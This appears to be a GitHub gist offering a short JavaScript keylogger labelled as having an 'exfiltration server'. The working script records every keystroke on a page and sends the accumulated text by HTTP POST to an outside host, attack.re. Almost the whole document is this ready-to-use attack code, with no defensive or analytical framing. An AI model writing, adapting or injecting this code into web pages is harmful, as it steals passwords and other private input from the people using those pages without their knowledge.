Skip to content

Instantly share code, notes, and snippets.

@maggick
Last active January 14, 2022 14:54
Show Gist options
  • Save maggick/73df1e7bd30c55659d74fbadd80086c5 to your computer and use it in GitHub Desktop.
Save maggick/73df1e7bd30c55659d74fbadd80086c5 to your computer and use it in GitHub Desktop.
Basic JS keylogger with exfiltration server (HTTPS - POST)
let POST = function(url, params) {
let http = new XMLHttpRequest();
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(params);
};
function logKey(e) {
k += ` ${e.key}`;
POST('https://attack.re', k);
}
var k=""
document.addEventListener('keydown', logKey);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment